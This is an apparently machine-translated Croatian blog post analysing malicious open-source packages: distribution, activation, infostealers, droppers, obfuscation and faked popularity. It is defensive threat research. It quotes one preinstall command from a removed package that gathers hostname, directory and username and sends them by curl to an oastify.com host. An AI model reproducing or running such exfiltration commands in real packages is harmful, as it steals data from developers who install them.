U prethodnoj epizodi, Zlonamjerni paketi otvorenog koda: Problem, raspravljali smo zašto su akteri prijetnji bili toliko oduševljeni objavljivanjem novih zlonamjernih komponenti ili ubrizgavanjem zlonamjernog softvera u najnovije verzije postojećih komponenti: Infrastruktura otvorenog koda omogućuje bilo kome bilo gdje da stvori privremeni račun u registru komponenti (kao što su NPM, PyPI, Docker Hub ili Visual Studio Marketplace) ili platformi za kolaborativni razvoj (kao što je GitHub). Nula troškova i mnogo mogućnosti za iskorištavanje viška povjerenja koje softverski timovi tradicionalno imaju u komponente trećih strana.
Asimetrija između toga koliko je napadačima lako distribuirati zlonamjerni softver koristeći infrastrukturu dostupnu za otvoreni kod i koliko je organizacijama koje razvijaju softver (svima?) teško izbjeći zarazu zlonamjernim softverom (i isporučiti zlonamjerni softver u softveru koji distribuiraju za druge), dovela je do toga da je prošle godine gotovo dosegnuta četvrt milijuna zlonamjernih paketa.
Ovo je problem toliko velikih razmjera da ga nijedna organizacija ne može riješiti sama, a zajednica je u procesu redefiniranja procesa otvorenog koda u vezi s povjerenjem, načelima sigurnosti po zadanim postavkama i sigurnosti po dizajnu te životnim ciklusom komponenti. Pogledat ćemo takve ideje u sljedećoj epizodi. Zaštita od zlonamjernih paketa otvorenog koda: Što (ne) funkcionira.
Imajte na umu da govorimo o softverskim komponentama koje većinu vremena odgovaraju softverski paketi: komponente za višekratnu upotrebu pakirane tako da se na njih može referencirati kao na ovisnost u manifestu softvera i instalirati pomoću upravitelja paketa ili alata za izgradnju. Imajte na umu da se ovaj slučaj može proširiti i na javne slike kontejnera (koriste ga platforme za izvođenje kontejnera i orkestraciju poput Kubernetesa) i proširenja softverskih alata (za izgradnju, automatizaciju i implementaciju).
Ovdje analiziramo kako se to taktika napada temeljena na zlonamjernim komponentama funkcionira, prema prošlim primjerima i onome što smo vidjeli u našoj platformi za rano upozorenje na zlonamjerni softver (MEW). Analizirat ćemo zlonamjerne komponente u različitim dimenzijama:
(1) odabrani način distribucije (korišteni registar, u novoj ili postojećoj komponenti i tehnika korištena za zarazu objavljene verzije komponente), (2) kako se zlonamjerni softver aktivira ili pokreće, (3) zlonamjerno ponašanje, tj. koje se štetne radnje opažaju i koja je motivacija napadača, (4) koje su tehnike uobičajene za prikrivanje, skrivanje radi neprimjećenosti, lateralno kretanje, komunikaciju s hostovima za zapovijedanje i kontrolu (C2) itd.; i (5) tehnike za stjecanje dovoljne popularnosti i povjerenja da žrtve na kraju instaliraju komponentu.
Odabrani mehanizam distribucije
Primjećujemo "pozadinska buka"nezahtjevnih zlonamjernih paketa koji koriste tipografske pogreške kako bi prevarili neoprezne developere s tipografskim greškama u nazivu paketa za njihovu ovisnost. Mnogi popularni paketi primaju niz slično nazvanih paketa s tipografskim greškama, s očekivanjem da će prevariti neke neoprezne developere.
Koriste efemerni račun, objavljuju grupu typosquat paketa, stvaraju još jednu i objavljuju još jednu grupu... Korištenjem malo automatizacije i domišljatosti mogu postići određenu sofisticiranost, ali obično su prilično trivijalni. Interno ih nazivamo "ringliceKrađa vjerodajnica je glavni cilj, ali povremeno nailazimo na špijunski softver koji krade izvorni kod ili osjetljive podatke poput osobnih podataka (PII), hvata međuspremnik i druge probleme.
Iznenada vidimo sofisticiranije zlonamjerne komponente, „morske pse“. Manjina je usmjerena na određene skupine ili organizacije, obično s kripto iscrpljivačima ili web skimmerima koji se aktiviraju uvjetno, možda slijedeći pristup viđen u incident toka događaja dešifriranja korisnog tereta napada samo kada se na paket poziva ciljni paket.
Mehanizam distribucije analiziran je u izvrsnom i sada klasičnom radu, “Zbirka noževa Backstabbera: Pregled napada na lanac opskrbe softverom otvorenog koda”, što je obavezno štivo. Sigurno ste već vidjeli ovaj lijepi grafikon:

Istraženi su svi putevi, uključujući nove i postojeće pakete; utjecaj na izvorni kod, sustav izgradnje ili samu komponentu paketa; korištenje ukradenih vjerodajnica ili socijalnog inženjeringa; otmicu napuštenih računa i repozitorija ili trovanje onih koji se već održavaju. Neki napadi dobili su imena (Tipo skvotiranje, Zbunjenost oko ovisnosti, Očita zbunjenost, Krađa repozitorijaitd.) i već su bili raspravljeni drugdje.
Što je s odabranim registrima?
NPM i dalje prednjači u ukupnom broju zlonamjernih paketa, ali ove godine smo primijetili porast na PyPI-ju. Python je popularan ekosustav za znanost o podacima i strojno učenje. Zapravo, gustoća zlonamjernog softvera sada je veća u PyPI-ju nego u NPM-u.
Kako se aktivira zlonamjerni softver
Zlonamjerni paketi se aktiviraju tijekom instalacije u samo 4 od 10 slučajeva (posljednjih godina bilo je blizu 6 od 10). Ostatak pokreće zlonamjerno ponašanje tijekom izvođenja, pri čemu se 1 od 100 aktivira tijekom izvođenja testova. Čini se da protivnici znaju da je nekontrolirano izvršavanje instalacijskih skripti onemogućeno na mnogim mjestima.
Što dobivaju loši momci?
Navest ćemo kategorije zlonamjernog ponašanja, s najpopularnijima na prvom mjestu. Imajte na umu da utjecaj može biti prilično različit: a brisač je tvrdoglavo destruktivan, ali nije uobičajen i viđen je samo u nekoliko slučajeva, povezanih s ciljanim kampanjama kibernetičkog rata ili brutalnim haktivizmom. Sljedeće kategorije su prilično česte:
- InfoStealer / Credentials DrainerDaleko najčešći, preko 90% nesofisticiranih napada su jednostavni kradljivci podataka koji uglavnom traže vjerodajnice poput lozinki, pristupnih tokena, API ključeva i privatnih ključeva (za SSH i slično). Vjerojatno je najjednostavnije napisati (uz brisače podataka?). Oni nabrajaju poznate datoteke/direktorije i druge izvore (npr. ključeve registra), pakiraju sadržaj i šalju te podatke na C2 poslužitelj. Ideja je jednostavna: „Objavljujem kradljivca podataka za phishing vjerodajnice kako bih kasnije mogao koristiti vjerodajnice za pokretanje usmjerenog napada“.
Uočeno C2 umrežavanje je obično jeftino i prljavo, poput Telegram kanala ili alati za tuneliranje slični ngroku (često u obliku obrnutih proxyja izloženih putem VPN izlaznih IP adresa). Postoje stotine (!) mogućnosti, s mnogim GitHub projektima pod tema o krađi lozinkiSpecijalizacije poput keyloggera rijetke su za zlonamjerne pakete i slike spremnika, ali češće u proširenjima alata, gdje se očekuje interakcija korisnika.
- Program za ispuštanje / preuzimanjeDrugi po popularnosti, obično prvi u višefaznim napadima. Više od jedne od tri zlonamjerne komponente ima dropere (ako je zlonamjerni sadržaj uključen u paket) ili downloadere (sadržaj se preuzima s krajnje točke pod kontrolom napadača). Sadržak je često poznata binarna varijanta zlonamjernog softvera, a pokreće se, a ponekad i perzistira, za instaliranje stražnjih vrata, špijunskog softvera, kripto iscrpljivača i drugih slučajeva upotrebe. Preuzeti ili raspoređeni sadržaj pokreće napad druge faze sa svom snagom koju pružaju postojeći binarne datoteke zlonamjernog softvera. Binarne datoteke mogu se distribuirati unutar paketa, često maskirane kao slike ili navodno bezopasne vrste datoteka, kako bi se izbjeglo otkrivanje prilikom povezivanja s neočekivanim web-lokacijama.
- Kradljivci / rudari kriptovalutaFinancijski motivirani protivnici spremni su koristiti vašu imovinu u oblaku za pokretanje kriptorudara (čak i otkrivaju rade li oni u virtualnom računalu u oblaku). Nije ih briga za... nizak omjer profita od 1 USD za svakih 53 USD naplaćenih žrtvi za ukradenu infrastrukturu u oblaku. Žrtve možda neće biti svjesne toga dok ne prime neočekivani račun. Srećom, to dođe i prođe. Cryptojacking kampanje u zlonamjernim paketima povremeno se pojavljuju, a zatim nestaju, phishingom za korisnike novčanika ili na kraju ciljajući pružatelja usluga novčanika, kao u Napad na glavnu knjigu.
Druga ponašanja, poput postavljanja zakulisni za udaljeno izvršavanje koda otvaranjem obrnute ljuske sada je rjeđe nego u prošlosti. Na primjer, 123rf_contributor_web paket (sada uklonjen iz registra) otvara se bez ikakvog zamagljivanja, obrnuta ljuska kopirana i zalijepljena iz Obrnuta školjka - Cheat Sheet:

Uz legitimne i zlonamjerne komponente, primijetili smo nekoliko zlouporaba, uključujući:
Neželjeni paketi
Postoje tisuće malih paketa, uglavnom u NPM-u, bez zlonamjernog softvera, ali obećavajući laku zaradu, "zmijsko ulje", poveznice na ponude Viagre i sve to. Nekoliko korisnika objavljuje takav neželjeni sadržaj i zauzima puno propusnosti registra. Drugi akter(i) moguće iz Indonezije pokušao(li) je izvući korist tako što je zlouporaba čajaRang namijenjeno kompenziranju programera otvorenog koda stvaranjem desetaka tisuća međusobno povezanih NPM paketa s povezanim lažnim GitHub repozitorijima. Ovo je jasno kršenje uvjeta korištenja.
Nagrade za bugove i prijevare u sigurnosnim istraživanjima
Kada se paket opisuje kao onaj koji izvlači podatke u dobre svrhe, poput otkrivanja sigurnosnih nedostataka za programe nagrađivanja za greške ili istraživanja određenih aspekata ekosustava. Vidjeli smo tisuće paketa u ovoj kategoriji koji dohvaćaju identifikacijske, ali ne previše osjetljive podatke na adresu Burp Collaboratora od PortSwiggera (npr. host u domeni oastify.com). Često smo primijetili kopije... Zbunjenost oko ovisnosti dokaz koncepta Alexa Birsana, poput aurora-webmail-pro paket (uklonjen iz registra), koji jednostavno pokreće ovaj gadni kod u skripti prije instalacije:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") A također je uključivao i „Ovo je jednostavan dokaz koncepta napada zbunjenosti ovisnostiopis odricanja od odgovornosti u paket.jsonOvo je jasno kršenje uvjeta pružanja usluge, čak i bez zlonamjerne namjere.
Ima li dobrih vijesti? Još nismo vidjeli napade ransomwarea putem zlonamjernih komponenti. Iz nepoznatih razloga, čini se da kibernetički kriminalci preferiraju tradicionalnije mehanizme phishinga putem e-pošte, RDP-a i preuzimanja putem drive-by protokola.
Dodatne uočene tehnike

Mnoge tehnike su korištene za upornost, izbjegavanje obrane, prikupljanje informacija, komunikaciju s hostovima za zapovijedanje i kontrolu te bijeg.
Upornost u zlonamjernim komponentama postiže se korištenjem značajki perzistencije u binarnom zlonamjernom softveru druge faze, ali ponekad se ponašanje nalazi u kodu paketa, pri čemu su najčešći zakazani zadaci i promjene u registru sustava Windows.
skrivanje određenih poteza je uobičajeno, ali nesofisticirano. Većina paketa s tipografskim greškama (sjetite se "ringlice„?) uopće ne koriste obfuskaciju; mnogi koriste ili trivijalne metode (base64/hex kodiranje ili supstitucijske šifre poput rot13) ili koriste dostupne obfuskatore koda i minifikaciju, što se lako može poništiti uz pomoć pravih alata. Samo „morski psi“ rade pravu, hard-core obfuskaciju koju je teško rekonstruirati.
Obfuskacija može sakriti napad, ali zašto bi kod u komponenti otvorenog koda trebao biti obfusiran? Postoje li dokazi da nešto treba skrivati od očiju? Pronašli smo mnogo slučajeva ne-zlonamjernih paketa koji koriste obfuskaciju za zaštitu intelektualnog vlasništva, što je suprotno pojmu "otvoreni kod". Obfuskacija se može koristiti kao dokaz zlonamjernog softvera, ali nije konačna. Također je teško de-obfusirati.
Utaja od obrambenih kontrola usvaja jednostavne tehnike. Zlonamjerni kod je često zaštićen u pokušaj … uhvati blokovi koji ignoriraju sve iznimke, tako da se abnormalna aktivnost ne prikazuje u zapisnicima. Provjera okruženja (izvodi se u virtualnom računalu ili spremniku) je rijetka, osim za zlonamjerni softver koji cilja određenu organizaciju ili okruženje.
Maskiranje binarnih datoteka u slikama i PDF datotekama (vrsta steganografije) bila je još jedna tehnika koja se koristila za izbjegavanje otkrivanja.
Budući da su najčešće zlonamjerne komponente kradljivci informacija, prikupljanje podataka je ključno. Tajne (lozinke, pristupni tokeni, API ključevi, kriptografski ključevi) rutinski se skeniraju u datotekama zapisnika, varijablama okruženja, pa čak i međuspremniku (što se vidi kod bankarskih trojanaca i kradljivaca kriptovaluta). Izbacivanje izvornog koda također je uobičajeno, jer se instalacija paketa često obavlja u razvojnom čvoru gdje se mogu klonirati interni git repozitoriji. Vidjeli smo pakete koji nabrajaju direktorije u potrazi za git repozitorijama. Traženje lokacija poput .env, private.pem, settings.py, app.js ili application.properties prilično je uobičajeno.
Eksfiltracija je još jedna široko korištena radnja. Samo manjina zlonamjernih paketa uopće pokušava sakriti odredište ekstrahiranih podataka. Telegram kanali i tuneli nalik ngroku često se koriste. I postoji mnogo domene s bijele liste koje se obično koriste za eksfiltraciju.
Druge tehnike, poput eskalacije privilegija ili lateralnog kretanja, bile su rjeđe.
Stjecanje popularnosti i povjerenja
Zamislite tehnološkog lopova s gotovom zlonamjernom stvari koja se pita: „Kako da ovo sranje učinim pouzdanim za te ništa ne sluteće idiote?“.
To se prevodi u to kako napraviti unos za zlonamjernu komponentu da prikazuje mnogo zvjezdica / forkova (zbog popularnosti), plus verzije / probleme i pull requests (za aktivnost). Ideja je steći fiktivnu popularnost (zvijezde) i uzdržavane osobe, te uvjerljiv izgled u pogledu relevantnosti i održavanja.
Registar ne provjerava podudaraju li se sadržaj u GitHub projektu i sadržaj paketaOvo je dobro poznati problem u lancu opskrbe softverom. Javni registri su divovske rupe koje gutaju sve što im se baci. Možete povezati bilo koji repozitorij.

Ako je tipografska pogreška zlonamjernog paketa popularan, to je jednostavno: samo navedite postojeći GitHub repozitorij u manifestu ovisnosti koji se koristi za stvaranje paketa i njegovo objavljivanje u registru. Za nove pakete na lažnom GitHub repozitoriju možda će vam trebati više domišljatosti, možda stvaranje lažnog promatranje zvijezda/razdvajanje GitHub računi putem skriptiranja.
A ako je sadržaj vašeg paketa razumno sličan repozitoriju, ubacite nekoliko dobro osmišljenih promjena tu i tamo... Možete ubrizgati svoj zlonamjerni softver u novi paket koji nalikuje popularnom, referencirajući se na postojeći repozitorij, i čekati tipografske pogreške. Ako se itko usudi usporediti sadržaj tarballa paketa sa sadržajem iz GitHub repozitorija, razlike na mjestima ubrizgavanja zlonamjernog softvera mogle bi se lako previdjeti. Ovaj pristup smo već mnogo puta vidjeli.
Mehanizam kojim bi komponenta mogla dati izjavu o podrijetlu, načinu na koji je paket izgrađen, iz kojih izvora i od koga, bio bi dobrodošao. Ali to je druga priča.
Je li komponenta X zlonamjerni softver?
Postoji li (sveobuhvatna) baza podataka zlonamjernih paketa? Ne. Ranjivostima otvorenog koda dodijeljen je CVE ID, ali samo nekoliko zlonamjernih paketa (posebno onih koji pune naslovnice) ga dobiva. CWE za zlonamjerne pakete je CWE-506 (ugrađeni zlonamjerni kod).
Uobičajeni alati za suzbijanje zlonamjernog softvera (VirusTotal, MalwareBazaar, SOREL-20M…) ne predviđaju posebne mjere za zlonamjerne komponente. To bi bilo dobrodošlo!
Postoje istraživačke uzorke baza podataka i skupovi podataka za analizu (koristimo ih nekoliko), ali unosi se ažuriraju tek kada je zlonamjerni paket poznat, što je često prekasno. Ako ste zainteresirani, OpenSSF Zlonamjerni paketi je lijep početak.
U sljedećoj objavi raspravljat ćemo o tome kako znati je li određeni paket zlonamjeran. Spojler: da, postoje načini provjere zlonamjernih komponenti rano tijekom razdoblja izloženosti, prije nego što registar ukloni poznatu zlonamjernu komponentu.
Daljnje čitanje
U sljedećoj epizodi "Zaštita od zlonamjernih paketa otvorenog koda: Što (ne) funkcionira" Raspravljat ćemo o tome što treba, a što ne treba raditi za sigurnost otvorenog koda. Većina stručnjaka koji su svjesni sigurnosti ima intuiciju o tome kako se nositi s ovom prijetnjom, ali obiluje pogrešnim shvaćanjima.
Ispitat ćemo zašto su te ideje pogrešne i kako takve zablude doprinose popularnosti ovog mehanizma napada i ogromnom riziku koji organizacije doživljavaju. Zatim ćemo nastaviti s onim što funkcionira i koji su napori i resursi potrebni.
Također, objavit ćemo o evoluciji zlonamjernih paketa u smislu njihove namjere, mehanizma ubrizgavanja i tehnika napada.
Ostani u tunelu!






